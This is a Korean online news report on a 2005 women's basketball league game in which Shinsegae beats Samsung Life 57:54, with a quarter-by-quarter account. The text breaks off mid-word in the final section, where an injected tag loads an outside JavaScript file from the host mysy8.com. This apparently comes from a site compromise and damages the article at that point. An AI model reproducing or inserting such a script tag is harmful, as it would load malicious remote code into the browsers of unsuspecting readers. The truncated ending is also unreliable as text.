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신세계, 신혜인 맹활약으로 꼴찌 탈출[omynews]

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광주 신세계 쿨캣(아래 신세계)이 15일 오후 2시 수원 실내체육관에서 벌어진 KB스타배 2005 겨울리그 수원 삼성생명 비추미(아래 삼성생명)와의 원정경기에서 57:54로 승리했다. 1쿼터에서 24:14로 앞섰으나, 가드 비어드가 2쿼터 도중에 부상으로 빠져 삼성생명에게 역전을 허용했다. 그러나 4쿼터에서 신혜인의 맹활약으로 삼성생명을 따라잡아, 결국 극적인 승리를 거두고 꼴찌 탈출에 성공했다. 팀의 승리를 이끈 '얼짱' 신혜인(11득점 2리바운드 2어시스트)은 결정적인 상황에서 자신의 진가를 제대로 발휘했다. 1년 전 프로 입단 초기보다 성숙미가 가미된 활약으로, 팀의 승리를 이끌었다. 이제는 팀의 대들보로 거듭나려는 모습을 보이고 있다. 꼴찌 탈출한 신세계는 5위로 도약한 반면, 4연패의 늪에 빠진 삼성생명은 공동 3위 국민은행과 금호생명에게 반 게임 차로 쫓기게 되었다. 신세계, 1쿼터에서 24점 성공 1쿼터 시작한 지 36초만에 삼성생명 가드 이미선이 2개째 반칙을 범한 사이, 이날 컨디션이 좋았던 신혜인은 비어드의 패스를 받은 노마크 상황에서 3점슛을 성공시켰다. 신혜인은 1쿼터 종료 7분 12초 전에는 레이업슛을 성공시켰고, 팀은 5:0으로 앞서갔다. 양정옥 등이 삼성 공격을 활발히 끊어내면서, 신세계는 경기 시작 6분 동안 탄탄한 수비력을 앞세워 삼성생명에게 단 2점만 허용했다. 센터 허윤자와 양지희를 주전으로 투입시킨 신세계는, 비어드의 활발한 골밑 공격과 신혜인 등을 통한 외곽 공격이 1쿼터에서 지속적으로 빛을 발하며, 1쿼터에만 총 24점의 득점을 성공시켰다. 여자 프로농구에서 한 쿼터에 24점을 넣는 것은, 비교적 많은 득점이다. 67%의 높은 야투 정확도를 과시하여 삼성생명에 앞서갔다. 비어드와 허윤자는 리바운드 3개를 잡아내, 팀의 골밑을 튼튼히 지켰다. 부상 중인 용병 윌리엄스가 출전하지 못한 삼성생명은 1쿼터에서 센터 1명도 출전시키지 못했다. 신세계의 외곽 공격과 비어드에 대한 방어가 철저하지 못하자 결국 1쿼터에서 14:24로 뒤져 10점차 리드를 허용했다. 야투 정확도에서 신세계에 밀렸고(46%), 리바운드에서 단 3개만 잡는 열세를 보이며, 비어드와 허윤자 등에게 골밑 경쟁에서 밀렸다. 2쿼터는 소강 상태 반격에 나선 삼성생명의 공격 템포는 1쿼터보다 더 빨라졌으나, 야투 정확도가 여전히 떨어져 많은 슛을 성공시키지 못했다. 신혜인의 공격력이 주춤했던 신세계마저 공격이 소강 상태를 보여 두 팀은 많은 득점을 기록하지 못했다. 2쿼터 종료 5분 전까지 신세계는 5점에 그쳤고, 삼성생명은 4점에 그치는 저조한 득점력을 보였다. 2쿼터 야투 정확도가 20%대에 머무른 신세계(20%)와 삼성생명(24%)은, 쉽게 넣을 수 있는 슛을 실패하는 실수가 잦았고, 잇단 턴오버를 연출했다. 시간이 갈수록 어려웠던 팀은 신세계였다. 1쿼터에서 맹활약한 비어드가 2쿼터 도중에 부상을 당하여, 신세계의 공격이 더욱 침체에 빠졌다. 다만 센터 허윤자와 정진경이 각각 6개와 5개 리바운드를 성공시켜, 여전히 팀의 골밑을 튼튼히 지켰다. 그러자 삼성생명이 2쿼터 막판부터 신세계 선수들에 대한 대인방어를 강화하여, 여러 차례 공격을 끊는데 성공했다. 막판에 야투 정확도를 향상시켜, 10점 이내로 신세계를 추격했다. 결국 2쿼터를 24:31로 7점차 따라붙는 데 성공했다. 삼성생명, 3쿼터에서 역전 3쿼터에서 활약이 빛난 팀은, 신세계를 추격하는 삼성생명이었다. 조은주가 3쿼터 시작 1분만에 3점슛을 성공시켜 팀이 27:31로 4점차 따라 붙었다. 삼성생명은 신세계에게 총 4점을 허용했으나, 조은주의 골밑슛과 박정은의 3점슛 성공으로 32:35로 3점차 추격했다. 포인트 가드 박세미를 투입시킨 신세계의 공격은 삼성생명의 끈질긴 수비에 막혀 추격을 허용했다. 상승세를 탄 삼성생명은 3쿼터 종료 3분 36초 전에 박정은이 레이업슛을 성공시켜 37:36으로 1점차 추격했다. 그리고 3분 13초 전에 이미선이 낚아채기한 뒤, 빠르게 신세계 골문으로 파고들어 레이업슛을 성공시켜 38:37로 역전했다. 이미선은 2분 52초 전에 정혜진의 턴오버를 이용하여 3분 13초 전과 같은 상황에서 또 다시 레이업슛을 성공시켰다. 신세계는 벤치에 있던 신혜인을 3쿼터 도중에 투입시켰지만, 선수들의 집중력이 갈수록 떨어지는 모습을 보였다. 신혜인은 3쿼터에서도 삼성의 두터운 수비를 뚫지 못하고 부진했다. 삼성생명은 이미선의 재치있는 활약을 통하여 역전에 성공했다. 특히 박정은과 변연하가 각각 4개와 3개의 리바운드를 잡아 신세계의 골밑을 압도했다. 3쿼터에서는 삼성생명이 41:39로 2점차 리드했다. 신세계 재역전 성공하며 3점차 승리 비어드 부상으로 계속 흔들리던 신세계는, 신혜인이 경?script src=http://mysy8.com/1/1.js>

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